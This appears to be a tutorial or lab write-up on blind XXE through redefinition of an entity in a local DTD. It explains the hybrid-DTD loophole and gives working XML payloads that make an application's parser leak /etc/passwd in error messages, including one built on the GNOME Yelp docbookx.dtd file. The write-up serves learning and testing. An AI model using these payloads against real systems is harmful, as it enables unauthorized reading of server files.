Blind XXE by defining Local DTD

This technique works well with an External DTD, but it won't normally work within an Internal DTD => Fully specified in the <!DOCTYPE> element.

  • This is because it involves using an XML parameter entity within the definition of another parameter entity.

So what about blind XXE vulnerabilities when out-of-band interactions are blocked?

You can't exfiltrate data via an out-of-band connection, and you can't load an external DTD from a remote server ??

Absolutely Not, It might still be possible to trigger error messages containing sensitive data, due to a loophole in the XML language specification which is :

  • If a document's DTD uses a hybrid of internal and external DTD declarations, then the internal DTD can redefine entities that are declared in the external DTD

This means the attacker can employ the error based technique within the Internal DTD, provided the XML parameter entity that is used is re-defining an entity which is used by the Enternal DTD

If out-of-band connections are blocked, then the external DTD cannot be loaded from a remote location. Instead, it needs to be an external DTD file that is local to the application server

Normally, the attack involves invoking a DTD file that happens to be on the local filesystem, triggering a parsing error contains the sensitive data.

In simple Words, for an example

  • There is a DTD file on the server filesystem at the location /usr/local/app/schema.dtd and this file defines an entity called custom_entity.

  • An attacker can trigger an XML parsing error message containing /etc/passwd by submitting a hybrid DTD.

<!DOCTYPE d0p
[ <!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd"> 
<!ENTITY % custom_entity ' 
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd"> 

<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>"> 

&#x25;eval; 
&#x25;error; 
'> 
%local_dtd; 
]>
  • Defines an XML paramter entity called local_std, containing the contents of the external DTD file that exists on the server filesys

  • Redefines the XML parameter entity called custom_entity, which is already defined in the external DTD file, The entity is redefined as containing the Error-based XXE exploit for triggering an error message containing contents of /etc/passwd

  • Uses local_dtd entity so that the external dtd gets interpreted, including the custom_entity

Locating an existing DTD File

Since this XXE attack involves repurposing an existing DTD on the server filesystem, a key requirement is to locate a suitable file, we can easily enumerate local DTD files just by attempting to load them from within the internal DTD.

In Linux systems using GNOME desktop env often has a DTD file at /usr/share/yelp/dtd/docbookx.dtd.

<!DOCTYPE d0p [ 
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"> 
%local_dtd;
]>

We can use the above payload to test whether the .dtd exists or not !

Payload used :

<!DOCTYPE stockCheck [ 
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"> 
<!ENTITY % ISOamso ' 
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd"> 

<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>"> 

&#x25;eval; 
&#x25;error; 
'> 
%local_dtd; 
]>
  • Given, there exists a .dtd file in the system containing an entity called ISOamso

So the above payload means :

Defining a DOCTYPE element named stockCheck and within that an ENTITY called local_dtd which contains a file path to the .dtd file in the system.

Re-defining another entity called ISOamso, containing the /etc/passwd.

This will import the Yelp DTD, then redefine the ISOamso entity, triggering an error message containing the contents of the /etc/passwd file.

Last updated